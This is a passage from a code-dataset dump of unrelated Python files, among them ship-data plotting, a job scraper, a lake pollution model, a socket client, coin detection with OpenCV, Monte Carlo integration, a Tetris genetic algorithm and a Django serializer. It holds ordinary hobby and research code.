jsonf.write(ais_collection_json)\n\ndef plotTimeDistribution():\n import pandas as pd\n import matplotlib.pyplot as plt\n import numpy as np\n # 03/31/2016 ts=1459461599\n # 09/30/2015 ts = 1443650401\n # fetch mmsi_country\n # ara 24 vdomades.\n column_names, time = executeQuery(\n \"\"\"\n select ts\n from ais_data.dynamic_ships\n \"\"\"\n )\n\n df = pd.DataFrame(time, columns=column_names)\n print(df.head())\n\n ts_max = df['ts'].max()\n ts_min = df['ts'].min()\n\n ts_range = ts_max - ts_min\n step = ts_range / 24\n bins = np.linspace(ts_min, ts_max, int(step + 1))\n\n df['ts'].hist(bins=24)\n\n # print(bins)\n #\n # counts, _, _ = plt.hist(df['ts'], bins=bins)\n plt.show()\n\n\nif __name__ == '__main__':\n ais_navigation_json = preprocessAisDynamic()","sub_path":"marineTraficNoSQL/preprocessing/dataPreprocessing_2.py","file_name":"dataPreprocessing_2.py","file_ext":"py","file_size_in_byte":14396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"40641110","text":"from bs4 import BeautifulSoup\nimport requests\n\nfrom src.commonlib.constants import TIMESJOB_URL\nfrom src.commonlib.utils import is_more_than_month_old\n\n\ndef find_jobs(start_page=1, end_page=1, unfamiliar_skill=None):\n results = []\n\n for page in range(start_page, end_page + 1):\n html_text = requests.get(TIMESJOB_URL.format(page=page)).text\n soup = BeautifulSoup(html_text, features='lxml')\n jobs = soup.find_all('li', class_='clearfix job-bx wht-shd-bx')\n\n for job in jobs:\n title = job.header.h2.a.text.strip()\n company_name = job.find('h3', class_='joblist-comp-name').text.strip()\n skills = job.find('span', class_='srp-skills').text.strip().replace(' ', '')\n published_date = job.find('span', class_='sim-posted').text.strip().split('Posted')[-1]\n more_info = job.header.h2.a['href']\n\n if not is_more_than_month_old(published_date):\n break\n\n if unfamiliar_skill in skills.split(','):\n break\n\n results.append(\n f'''\n Company Name: {company_name}\n Title: {title}\n Required Skills: {skills}\n Published Date: {published_date}\n More info: {more_info}\n '''\n )\n\n return results\n","sub_path":"src/commonlib/web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"301983288","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.optimize import root\r\nimport scipy.stats as ss\r\n\r\n# Set the number of RBFs (n), decision variables, objectives and constraints, and random seeds\r\nn = 2\r\nnSeeds = 1\r\n\r\n# Set lake model parameters, number of years simulated, and number of samples generated\r\nq = 2\r\nb = 0.42\r\nalpha = 0.4\r\ndelta = 0.98\r\nmu = 0.03\r\nsigma = np.sqrt(10**(-5.0))\r\nlake0 = 0\r\nnYears = 100\r\nnSamples = 100\r\n\r\n# Establish reliability and inertia thresholds\r\nreliability_threshold = 0.85\r\n\r\ndef fun(x):\r\n return [(x[0]**q)/(1+x[0]**q) - b*x[0]]\r\nsoln = root(fun, 0.75)\r\npCrit = soln.x\r\n\r\ndef makeFigure6():\r\n IT = np.loadtxt('./../Optimization/Intertemporal.resultfile')\r\n DPS = np.loadtxt('./../Optimization/DPS.resultfile')\r\n \r\n ITmostRel = np.argmin(IT[:,103]) # one of several solutions with perfect reliability; in paper, row 8 of IT.resultfile was plotted\r\n DPSmostRel = np.argmin(DPS[:,9]) # one of several solutions with perfect reliability; in paper, row 26 of DPS.resultfile was plotted\r\n \r\n # plot lake P concentration vs. time\r\n seed=1\r\n lake_state3 = LakeModel_IT(seed,IT[ITmostRel,0:100]) # intertemporal best reliability\r\n lake_state4 = LakeModel_IT(seed,IT[np.argmin(IT[:,100]),0:100]) # intertemporal best benefits\r\n \r\n # plot P discharge vs. P concentration in the lake\r\n lake_state = np.arange(0,2.5,0.01)\r\n Y1 = np.zeros(len(lake_state))\r\n Y2 = np.zeros(len(lake_state))\r\n for i in range(len(lake_state)):\r\n Y1[i] = DPSpolicy(lake_state[i], DPS[DPSmostRel,0:6]) # DPS best reliability\r\n Y2[i] = DPSpolicy(lake_state[i], DPS[np.argmin(DPS[:,6]),0:6]) # DPS best benefits\r\n \r\n fig = plt.figure()\r\n ax = fig.add_subplot(1,3,1)\r\n line1, = ax.plot(lake_state, Y1, c=\"#08519c\",linewidth=2) # DPS best reliability\r\n line2, = ax.plot(lake_state, Y2, c=\"#006d2c\",linewidth=2) # DPS best benefits\r\n line5, = ax.plot([pCrit,pCrit],[0,0.1],c='#a50f15',linewidth=2) # critical P threshold\r\n ax.set_xlim(0,1)\r\n ax.set_ylim(0,0.15)\r\n ax.set_ylabel('Anthropogenic P Release, $a_t$',fontsize=16)\r\n ax.set_yticks(np.arange(0,0.16,0.04))\r\n ax.tick_params(axis='both',labelsize=14)\r\n ax.text(0.03,0.125,'a) Reliability & Benefits-Maximizing\\nDPS Policies', fontsize=16)\r\n box = ax.get_position()\r\n ax.set_position([box.x0, box.y0 + 0.2*box.height, box.width, box.height*0.8])\r\n \r\n ax = fig.add_subplot(1,3,2)\r\n line1, = ax.plot(lake_state, Y1, c=\"#08519c\",linewidth=2) # DPS best reliability\r\n line3 = ax.scatter(lake_state3[0:-1],IT[ITmostRel,0:100],c=\"#08519c\",s=20,linewidth=0) # intertemporal best reliability\r\n line5, = ax.plot([pCrit,pCrit],[0,0.1],c='#a50f15',linewidth=2) # critical P threshold\r\n ax.set_xlim(0,1)\r\n ax.set_ylim(0,0.15)\r\n ax.set_xlabel('Lake P Concentration, $X_t$',fontsize=16)\r\n ax.tick_params(axis='both',labelsize=14)\r\n ax.text(0.03,0.13,'b) Reliability-Maximizing Policies', fontsize=16)\r\n box = ax.get_position()\r\n ax.set_position([box.x0, box.y0 + 0.2*box.height, box.width, box.height*0.8])\r\n \r\n ax = fig.add_subplot(1,3,3)\r\n line2, = ax.plot(lake_state, Y2, c=\"#006d2c\",linewidth=2) # DPS best benefits\r\n line4 = ax.scatter(lake_state4[0:-1],IT[np.argmin(IT[:,100]),0:100],c=\"#006d2c\",s=20,linewidth=0) # intertemporal best benefits\r\n line5, = ax.plot([pCrit,pCrit],[0,0.1],c='#a50f15',linewidth=2) # critical P threshold\r\n ax.set_xlim(0,np.max(lake_state4))\r\n ax.set_ylim(0,0.15)\r\n ax.tick_params(axis='both',labelsize=14)\r\n ax.text(0.05,0.13,'c) Benefits-Maximizing Policies', fontsize=16)\r\n box = ax.get_position()\r\n ax.set_position([box.x0, box.y0 + 0.2*box.height, box.width, box.height*0.8])\r\n \r\n plt.suptitle('Optimized DPS Policies vs.Simulated Intertemporal Policies',fontsize=16)\r\n plt.figlegend([line5,line1,line2,line3,line4],['Critical P Threshold','DPS Highest Reliability',\\\r\n 'DPS Highest Benefits','Intertemporal Highest Reliability','Intertemporal Highest Benefits'], \\\r\n loc = 'lower center', ncol=2)\r\n fig.set_size_inches([18.25, 6.2875])\r\n fig.savefig('Figure6.pdf')\r\n fig.clf()\r\n \r\n return None\r\n \r\ndef LakeModel_IT(seed, vars):\r\n # Set inflow distribution parameters\r\n log_std = np.sqrt(np.log(1+sigma**2/mu**2))\r\n log_mu = np.log(mu) - 0.5*(log_std**2)\r\n \r\n # Initialize arrays to store P level in the lake at each time step\r\n lake_state = np.zeros([nYears+1])\r\n\r\n # Randomly generate nSamples of nYears of natural P inflows\r\n natFlow = np.zeros([nYears])\r\n np.random.seed(seed)\r\n natFlow= np.exp(ss.norm.rvs(log_mu, log_std, nYears))\r\n \r\n # Run lake model simulation\r\n lake_state[0] = lake0\r\n for i in range(nYears):\r\n lake_state[i+1] = lake_state[i]*(1-b) + (lake_state[i]**q)/(1+(lake_state[i]**q)) + vars[i] + natFlow[i]\r\n \r\n return lake_state\r\n \r\ndef DPSpolicy(lake_state, vars):\r\n # Determine centers, radii and weights of RBFs\r\n C = vars[0::3]\r\n B = vars[1::3]\r\n W = vars[2::3]\r\n newW = np.zeros(len(W))\r\n \r\n # Normalize weights to sum to 1\r\n total = sum(W)\r\n if total != 0.0:\r\n for i in range(len(W)):\r\n newW[i] = W[i]/total\r\n else:\r\n for i in range(len(W)):\r\n newW[i] = 1/n\r\n \r\n # Determine pollution emission decision, Y\r\n Y = 0\r\n for i in range(len(C)):\r\n if B[i] != 0:\r\n Y = Y + W[i]*((np.absolute(lake_state-C[i])/B[i])**3)\r\n \r\n Y = min(0.1,max(Y,0.01))\r\n \r\n return Y\r\n \r\nmakeFigure6()","sub_path":"FigureGeneration/makeFigure6.py","file_name":"makeFigure6.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"342595256","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pickle\nfrom collections import namedtuple\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom pyvib.rfs import RFS\nfrom pyvib.signal import Signal2 as Signal\n\npath = 'data/'\nfilename = 'pyds_sweepvrms0.03'\nNm = namedtuple('Nm', 'y yd ydd u t finst fs')\nsweep1 = pickle.load(open(path + filename + '.pkl', 'rb'))\n#sweep2 = pickle.load(open(path + 'sweep2.pkl', 'rb'))\n\ny=sweep1.y\nydd = sweep1.ydd\nyd = sweep1.yd\n\ntry:\n raise TypeError('Uncomment this line to do numerical differentiation')\n fs = sweep1.fs\n # select only part of the signal for better differentiation using\n # regularization\n low_idx, high_idx = int(1000*fs), int(1600*fs)\n t = np.arange(len(y))/fs\n y = y[low_idx:high_idx]\n ydd = sweep1.ydd[low_idx:high_idx]\n t = t[low_idx:high_idx]\n\n # this library breaks because of too high memory usage\n# import sys\n# # https://pythonhosted.org/scikits.datasmooth/regularsmooth.html\n# sys.path.append('/home/paw/src/scikit-datasmooth')\n# from scikits import datasmooth as ds\n# yd = ds.calc_derivative(t,y,d=1)\n\n # noise-free data. Just do it simple\n yd = np.gradient(y, 1/fs)\n ydd = np.gradient(yd, 1/fs)\n\n # differentiate using total variation regularization\n # https://github.com/pawsen/tvregdiff\n # import sys\n # sys.path.append('/home/paw/src/tvregdiff')\n # from tvregdiff import TVRegDiff\n # yd = TVRegDiff(y, itern=200, alph=0.1, dx=1/fs, ep=1e-2, \n # scale='large', plotflag=0)\n # ydd = TVRegDiff(yd, itern=200, alph=1e-1, dx=1/fs, ep=1e-2,\n # scale='large', plotflag=0)\nexcept Exception as err:\n import traceback\n traceback.print_exc()\n print(err)\n\nsignal = Signal(sweep1.u, sweep1.fs, sweep1.ydd)\nsignal.set_signal(y=y, yd=yd, ydd=ydd)\n\nrfs = RFS(signal,dof=0)\nrfs.plot()\n\n## Extract subplot\nfrfs = rfs.plot.fig\nb = 0.1745\nax2 = rfs.plot.ax2d\nax2.axvline(-b,c='k', ls='--')\nax2.axvline(b,c='k', ls='--')\nfig2 = plt.figure()\nax2.figure=fig2\nfig2.axes.append(ax2)\nfig2.add_axes(ax2)\n\ndummy = fig2.add_subplot(111)\nax2.set_position(dummy.get_position())\ndummy.remove()\nax2.set_title('')\n\nplt.show()\n","sub_path":"examples/contact/rfs.py","file_name":"rfs.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"240395990","text":"import socket\r\nimport dill as pickle\r\nimport time\r\nimport sys\r\n\r\nclass Data:\r\n def __init__(self,Name,Email,PhoneNumber,Social_Security):\r\n self.Name=Name\r\n self.Email=Email\r\n self.PhoneNumber=PhoneNumber\r\n self.Social_Security=Social_Security\r\n \r\n def return_Social_Security(self):\r\n return int(self.Social_Security)\r\n \r\n def __repr__(self):\r\n return str(self.Social_Security)\r\nname=socket.gethostname()\r\nip=socket.gethostbyname(name)\r\nport=9876\r\nHead_size=10\r\ntry:\r\n client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n client_socket.connect((ip,port))\r\n message=\"Client_Socket\".encode(\"utf-8\")\r\n message_length=f\"{len(message):<{Head_size}}\".encode(\"utf-8\")\r\n client_socket.send(message_length+message)\r\nexcept Exception as e:\r\n print(e)\r\n print(\"Unable to Connect to the Server\")\r\n sys.exit()\r\n\r\nchoice=0\r\nData_send=\"ADD\"\r\nwhile True:\r\n try:\r\n choice=input(\"Enter the Type of Query\")\r\n if(choice==\"ADD\"):\r\n Data_send=\"ADD\".encode(\"utf-8\")\r\n Data_sendx_length=f\"{len(Data_send):<{Head_size}}\".encode(\"utf-8\")\r\n client_socket.send(Data_sendx_length+Data_send)\r\n Name=input(\"Enter Name :\")\r\n Email=input(\"Enter Email Id :\")\r\n PhoneNumber=int(input(\"Enter Phone Number :\"))\r\n Social_Security=int(input(\"Enter Social Security Number :\"))\r\n Data_send=Data(Name,Email,PhoneNumber,Social_Security)\r\n Data_sendx=pickle.dumps(Data_send)\r\n Data_sendx_length=f\"{len(Data_sendx):<{Head_size}}\".encode(\"utf-8\")\r\n client_socket.send(Data_sendx_length+Data_sendx)\r\n response_length=int(client_socket.recv(Head_size).strip().decode(\"utf-8\"))\r\n response=client_socket.recv(response_length).decode(\"utf-8\")\r\n print(response)\r\n elif(choice==\"RETRE\"):\r\n Data_send=\"RETRE\".encode(\"utf-8\")\r\n Data_sendx_length=f\"{len(Data_send):<{Head_size}}\".encode(\"utf-8\")\r\n client_socket.send(Data_sendx_length+Data_send)\r\n response_length=int(client_socket.recv(Head_size).strip().decode(\"utf-8\"))\r\n response=client_socket.recv(response_length)\r\n response=pickle.loads(response)\r\n print(response)\r\n except Exception as e:\r\n print(\"Some Error in Server Connection\",e)\r\n continue ","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"208490591","text":"#!/usr/bin/python3\nimport json\nimport cgi, cgitb\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport time ,os\nfrom time import sleep\n\nprint(\"Content-type: application/json\")\nprint()\n\nform = cgi.FieldStorage()\nurlq = form.getvalue('url')\n\n\n\nreference_circle = 24.26 #Reference circle diameter (mm) \n\n#Function to detect the blobs\ndef blob_function(img):\n params = cv2.SimpleBlobDetector_Params()\n\n params.minThreshold = 10\n params.maxThreshold = 256\n\n # Filter by Circularity\n params.filterByCircularity = True\n params.minCircularity = 0.8\n\n # Filter by Area.\n params.filterByArea = True\n params.minArea = 14\n\n\n # Filter by Convexity\n params.filterByConvexity = True\n params.minConvexity = 0.87\n \n # Filter by Inertia\n params.filterByInertia = True\n params.minInertiaRatio = 0.1\n\n params.filterByColor=True\n params.blobColor=255\n\n # Create a detector with the parameters\n ver = (cv2.__version__).split('.')\n if int(ver[0]) < 3 :\n detector = cv2.SimpleBlobDetector(params)\n else : \n detector = cv2.SimpleBlobDetector_create(params)\n\n # Detect blobs.\n keypoints = detector.detect(img)\n return keypoints\n\n\ndef blob_detection(img,test_frame):\n ## Using the frame find the coins and edges using blob detection\n global edge_Points_df, color_code_df, reference_circle ,url_img\n arr = []\n color_code = {} \n edge_Points = {}\n color_code_df = pd.DataFrame()\n edge_Points_df = pd.DataFrame()\n keypoints = blob_function(img)\n\n ## find maximum diameter in image for reference \n for keyPoint in keypoints:\n s = keyPoint.size\n arr.append(s)\n \n ## find x,y and diameter in px \n if arr:\n ratio = max(arr)/reference_circle\n\n for keyPoint in keypoints:\n x, y, s = keyPoint.pt[0] ,keyPoint.pt[1] , keyPoint.size\n # print(s/ratio)\n if int(s/ratio)>15 and int(s/ratio)<19: \n pixel= test_frame[int(y), int(x)] \n color_code['R'], color_code['G'], color_code['B'] = int(pixel[2]) , int(pixel[1]) ,int(pixel[0]) \n color_code_df = color_code_df.append(color_code, ignore_index=True)\n\n elif int(s/ratio)>=4 and int(s/ratio)<8:\n edge_Points['X'], edge_Points['Y'] =int(x) ,int(y)\n edge_Points_df = edge_Points_df.append(edge_Points, ignore_index=True)\n \n im_with_keypoints = cv2.drawKeypoints(img, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n resized_image = cv2.resize(im_with_keypoints, (960, 540)) \n\n #Remove old files if exist during recalibration \n try:\n os.remove(\"edge_Points_df.csv\")\n os.remove(\"color_code_df.csv\")\n os.remove(\"util_img.png\")\n except OSError:\n pass\n\n edge_Points_df.to_csv(\"edge_Points_df.csv\",index=False)\n color_code_df.to_csv(\"color_code_df.csv\" ,index=False)\n cv2.imwrite(\"util_img.png\" ,resized_image)\n #returns the count of edge points\n return len(edge_Points_df.index)\n \ndef utility_capture(url):\n cap = cv2.VideoCapture(url)\n sleep(1)\n ret, img = cap.read()\n test_frame = img = cv2.resize(img,(int(img.shape[1]/2),int(img.shape[0]/2)))\n # test_frame = img = cv2.resize(img,(int(img.shape[1]/1.33333333),int(img.shape[0]/1.33333333)))\n # test_frame = img\n cap.release()\n cv2.destroyAllWindows()\n\n count = blob_detection(img,test_frame);\n response={}\n response[\"status\"] = 200\n response[\"count\"] = count\n print(json.dumps(response))\n\nutility_capture(urlq)\n\n# utility_capture(\"http://192.168.1.100:8080\")\n","sub_path":"Python/coin-sorter/new/calibration_edge.py","file_name":"calibration_edge.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"452042752","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 23 10:00:21 2019\n\n@author: amandaash\n\"\"\"\n\n#step (1) Sample the function x**2 1000 and 1000 times over the interval 0 to 10\n#step (2) sum the samples\n#step (3) multiply sum by b-a/number of samples\n#step (4) viola an integral\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numpy.random as rand\n\ndef x2(x):\n y = x**2\n return y\n\ndef sampler(funcn, N, a, b):\n sample = rand.uniform(a, b, N)\n funcn_sample = funcn(sample)\n I = ((b-a)/N)*np.sum(funcn_sample)\n return I, np.array(sample), np.array(funcn_sample)\n\nI_1000, x_1000, y_1000 = sampler(x2, 1000, 0, 10)\nI_10000, x_10000, y_10000 = sampler(x2, 10000, 0, 10)\n\nprint('1000 samples: I ~ {0}'.format(I_1000))\nprint('10000 samples: I ~ {0}'.format(I_10000))\n\nplt.plot(x_1000, y_1000, '.')\nplt.title('1000 samples')\nplt.savefig('1000_samples.pdf')\nplt.show()\nplt.plot(x_10000, y_10000, '.')\nplt.title('10000 samples')\nplt.savefig('100000 samples.pdf')\nplt.show()\n\nN = 10000\nI_values = []\ny_values = []\ny_std = []\nfor iteration in range(N):\n I, x, y = sampler(x2, 1000, 0, 10)\n I_values.append(I)\n y_values.append(y)\n y_std.append(np.std(y))\n\ny_values = np.array(y_values).reshape(N*1000)\nprint(np.std(y_values)/np.sqrt(N*1000))\nprint(np.std(y_std)/np.sqrt(N))\n \nplt.hist(I_values, bins = 25)\nplt.axvline(np.median(I_values), label = 'median I = {0}'.format(str(np.median(I_values))[:7]), color = 'r')\nplt.axvline(np.mean(I_values), label = 'mean I = {0}'.format(str(np.mean(I_values))[:7]), color = 'orange')\nplt.axvline(np.mean(I_values)+np.std(I_values), color = 'purple')\nplt.axvline(np.mean(I_values)-np.std(I_values), color = 'purple')\nplt.title('{0} samples'.format(1000*N))\nplt.legend()\nplt.savefig('sample hist')\nplt.show()\n\nprint(\"{0} samples: I = {1} +/- {2}\".format(N*1000, str(np.mean(I_values))[:7], str(np.std(I_values)/np.sqrt(N*1000))[:5]))\n\n\ndef f1(x):\n y = np.sin(100*x)\n return y\nI_sin, x_sin, y_sin = sampler(f1, 10000000, 0, 2*np.pi)\nprint('10000 samples sin(x): I ~ {0}'.format(I_sin))\nplt.plot(x_sin, y_sin, '.')\nplt.show() ","sub_path":"Week 06/E11.py","file_name":"E11.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"606654760","text":"#!/usr/bin/env python3\n#-*- coding: utf-8 -*-\n\n# Genetic algorithm for Tetris AI. Fitness based on lines cleared.\n\n\nfrom random import randrange as rand\nimport sys, random, queue, tetris_bot\n\ndef mate(m, f):\n child = [(m[0] * m[1][x] + f[0] * f[1][x]) / (m[0] + f[0]) for x in range(len(m[1]))]\n if random.random() < 0.7:\n mut = (int) (random.random() * 7)\n child[mut] += random.random() * 0.4 - 0.2\n child[mut] = abs(child[mut])\n if child[mut] >= 1:\n child[mut] -= 2 * (child[mut] - 1)\n return child\n\nif __name__ == '__main__':\n fout = open(\"tetris_data.txt\", mode = \"w\", encoding = \"utf-8\")\n n = 16\n gen = 1\n # If you want to start from an existing data set, enter it in population and set children to be an empty list.\n population = []\n scores = 0\n children = [[random.random() for x in range(7)] for y in range(n)]\n while(1):\n print(\"Generation\", gen, file = fout, flush = True)\n print(\"Generation\", gen, flush = True)\n for x in range(len(population)):\n print(population[x][0], end = \"\\t\", file = fout, flush = True)\n print(population[x][0], end = \"\\t\")\n for y in range(7):\n print(population[x][1][y], end = \"\\t\", file = fout, flush = True)\n print(population[x][1][y], end = \"\\t\")\n print(file = fout, flush = True)\n print()\n for x in range(len(children)):\n scores = 0\n tetris_bot.p = children[x]\n for i in range(10):\n App = tetris_bot.TetrisBot()\n scores += App.run()\n population.append((scores, p))\n print(scores, end = \"\\t\", file = fout, flush = True)\n print(scores, end = \"\\t\", flush = True)\n for x in range(7):\n print(p[x], end = \"\\t\", file = fout, flush = True)\n print(p[x], end = \"\\t\", flush = True)\n print(file = fout, flush = True)\n print()\n children.clear()\n while len(children) < 4:\n s = random.sample(population, 4)\n s.sort(key = lambda l: l[0])\n children.append(mate(s[2], s[3]))\n population.sort(key = lambda l: l[0], reverse = True)\n for x in range(4):\n population.pop()\n gen += 1\n num = input(\"Continue? \")\n if not num:\n break\n print(file = fout, flush = True)\n print()\n","sub_path":"tetris_evol.py","file_name":"tetris_evol.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553076965","text":"# Calculate distance in meters\nfrom math import cos, sin, sqrt, pi, atan2\nimport requests\nimport json\n\n\ndef distance(lat1, lon1, lat2, lon2, *args):\n api = str(args).replace('(', '').replace(')', '').replace(\"'\", \"\").replace(',', '')\n if api: # GoogleMap Direction API\n response = requests.get('https://maps.googleapis.com/maps/api/directions/json?origin=' + str(lat1) + ',' + str(lon1) +\n '&destination=' + str(lat2) + ',' + str(lon2) + '&key=' + str(api))\n return response.json()['routes'][0]['legs'][0]['distance']['value']\n else: # Natural Distance\n radius = 6371 * 1000\n dLat = (lat2-lat1) * pi / 180\n dLng = (lon2-lon1) * pi / 180\n lat1 = lat1 * pi / 180\n lat2 = lat2 * pi / 180\n val = sin(dLat/2) * sin(dLat/2) + sin(dLng/2) * sin(dLng/2) * cos(lat1) * cos(lat2)\n ang = 2 * atan2(sqrt(val), sqrt(1-val))\n\n return \"{0:.0f}\".format(radius * ang)\n","sub_path":"ShelterSmartHome/apps/gpsnode/gps_distance.py","file_name":"gps_distance.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415464687","text":"from functools import partial\n\nfrom django.db.models.fields.related import ForeignKey, ManyToManyField\nfrom django.utils.encoding import smart_unicode, is_protected_type\n\nfrom .util import get_model_fields, get_serialization_fields\n\n\ndef serialize_field(obj, field):\n \"\"\"\n Convert non-relational model fields.\n\n Protected types (i.e., primitives like None, numbers, dates,\n and Decimals) are passed through as is. All other values are\n converted to string first.\n \"\"\"\n value = getattr(obj, field.name)\n if is_protected_type(value):\n return value\n else:\n return field.value_to_string(obj)\n\n\ndef serialize_fk(obj, field, use_natural_keys):\n \"\"\" Convert foreign key fields. \"\"\"\n if use_natural_keys and hasattr(field.rel.to, \"natural_key\"):\n related = getattr(obj, field.name)\n return related.natural_key()\n else:\n return getattr(obj, field.get_attname())\n\n\ndef serialize_m2m(obj, field, use_natural_keys):\n \"\"\" Convert many-to-many fields. \"\"\"\n if use_natural_keys and hasattr(field.rel.to, 'natural_key'):\n m2m_value = lambda value: value.natural_key()\n else:\n m2m_value = lambda value: smart_unicode(value._get_pk_val(), strings_only=True)\n return [m2m_value(related) for related in getattr(obj, field.name).iterator()]\n\n\ndef serialize_model_fields(obj, fields, related, related_fields,\n parent, use_natural_keys, handle_related):\n \"\"\" Convert a model instance to a generator. \"\"\"\n\n for field in fields:\n if isinstance(field, ForeignKey):\n key = \"%s%s\" % (parent, field.name)\n if key in related:\n o = getattr(obj, field.name)\n yield field.name, handle_related(o, serialize_model(\n obj=o,\n fields=related_fields.get(key),\n related=related,\n related_fields=related_fields,\n parent=\"%s__\" % field.name,\n use_natural_keys=use_natural_keys,\n ))\n else:\n yield field.name, serialize_fk(obj, field, use_natural_keys)\n elif isinstance(field, ManyToManyField):\n key = \"%s%s\" % (parent, field.name)\n if key in related:\n yield field.name, [handle_related(o, serialize_model(\n obj=o,\n fields=related_fields.get(key),\n related=related,\n related_fields=related_fields,\n parent=\"%s__\" % field.name,\n use_natural_keys=use_natural_keys,\n )) for o in getattr(obj, field.name).all()]\n else:\n yield field.name, serialize_m2m(obj, field, use_natural_keys)\n else:\n yield field.name, serialize_field(obj, field)\n\n\ndef serialize_model_fields_dict(obj, fields, related, related_fields,\n parent, use_natural_keys, handle_related):\n \"\"\" Convert a model instance to a dictionary. \"\"\"\n\n serialized = {}\n for field, value in serialize_model_fields(obj, fields, related,\n related_fields, parent, use_natural_keys, handle_related):\n serialized[field] = value\n return serialized\n\n\ndef serialize_model_base(obj, fields_method, model_method, fields=None,\n exclude=None, related=None, related_fields=None, parent=\"\",\n use_natural_keys=False, handle_related=lambda x, y: y):\n \"\"\" Convert model instances to basic Python data types. \"\"\"\n\n fields = fields_method(obj, fields=fields, exclude=exclude)\n related = related or {}\n related_fields = related_fields or {}\n\n return model_method(obj, fields, related, related_fields,\n parent, use_natural_keys, handle_related)\n\n\ndef serialize_queryset_base(queryset, serialization_method, fields=None,\n use_natural_keys=False, **kwargs):\n for obj in queryset.iterator():\n yield serialization_method(obj, fields=fields,\n use_natural_keys=use_natural_keys, **kwargs)\n\n\nserialize_model = partial(\n serialize_model_base,\n fields_method=get_serialization_fields,\n model_method=serialize_model_fields_dict,\n)\n\nserialize_model_all = partial(\n serialize_model_base,\n fields_method=get_model_fields,\n model_method=serialize_model_fields_dict,\n)\n\nserialize_queryset = partial(\n serialize_queryset_base,\n serialization_method=serialize_model,\n)\n\nserialize_queryset_all = partial(\n serialize_queryset_base,\n serialization_method=serialize_model_all,\n)\n","sub_path":"djserializers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"290227465","text":"def fibbolist(top):\n\tseq = [0, 1]\n\twhile True:\n\t\tx = seq[-1] + seq[-2]\n\t\tif x < top:\n\t\t\tseq.append(x)\n\t\telse: break\n\treturn seq\n\n# print(len(fibbolist(1e6)))\nsum = 0\nfor i in fibbolist(1e6):\n\tif i%2 != 0 :\n\t\tsum += i\nprint(sum)","sub_path":"p02.py","file_name":"p02.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254955279","text":"import unittest\nimport filter_variants\nimport count_barcodes\n\nclass MyTestCase(unittest.TestCase):\n count_barcodes_test_data_path = '/home/chase/code/cmatkhan/genomics/assignment11/data/test_data/count_barcodes_test_data.txt'\n filtered_variant_barcode_path = '/home/chase/code/cmatkhan/genomics/assignment11/filtered_variant_to_barcode.tsv'\n fastq_test_data_path = '/home/chase/code/cmatkhan/genomics/assignment11/data/test_data/fastq_test_data.fq'\n\n def test_createLineGenerator(self):\n line_generator = filter_variants.createLineGenerator(self.count_barcodes_test_data_path)\n func_header = next(line_generator)\n known_header = 'Variant_ID\\tREF_barcode\\tALT_barcode\\n'\n func_line = next(line_generator)\n known_line = 'rs1057902\\tCCTCGCTGG:TTCTACACA:CAGGATGCT:TACTCAACC:GCAATTCAG:TAGTGCCTT:GGTATGAGG:ATTCACGAG:AGGTTGGTC\\tACTGTCCAT:TAACACAGT:ACTGCGAAC:GAGAGGCAC:CCGTGTCTA:CTCAGCCGT\\n'\n self.assertEqual(func_header, known_header)\n self.assertEqual(func_line, known_line)\n\n def test_createVariantBarcodeDict(self):\n line_generator = filter_variants.createLineGenerator(self.count_barcodes_test_data_path)\n func_dict = filter_variants.createVariantBarcodeDict(line_generator)\n\n known_dict = {'rs1057902': ['CCTCGCTGG','TTCTACACA','CAGGATGCT','TACTCAACC','GCAATTCAG', 'TAGTGCCTT','GGTATGAGG',\n 'ATTCACGAG','AGGTTGGTC','ACTGTCCAT', 'TAACACAGT','ACTGCGAAC', 'GAGAGGCAC','CCGTGTCTA', 'CTCAGCCGT'],\n 'rs116386160': ['CACGATGAC','TGTAGTTGG','AAGCATGAA','TCAAGGCAC','TGTAGATCG','CTCCTGATG','TAGGTCTAG',\n 'TCTTGCCTC','TGACTATAA','GAATATCAC','CAGAGTAGG','CACTTCACG','CACCTTAAC','TGATAGATC',\n 'GATGACGGA','ATCCGATAG','TAAGGTGAA','CATTAAGTA', 'TGGACAATT','TCGCTGTTG', 'AACGCAACC']}\n for key, value in func_dict.items():\n for list in value:\n for item in list:\n self.assertIn(item, known_dict[key])\n self.assertEqual(len(func_dict['rs1057902']), 2)\n self.assertEqual(len(func_dict['rs116386160']), 2)\n\n def test_countBarcodes(self):\n correct_dict = {'CGTGCGAAT': 1}\n barcode_list = count_barcodes.createBarcodeList(self.filtered_variant_barcode_path)\n func_dict = count_barcodes.countBarcodes(barcode_list, self.fastq_test_data_path)\n 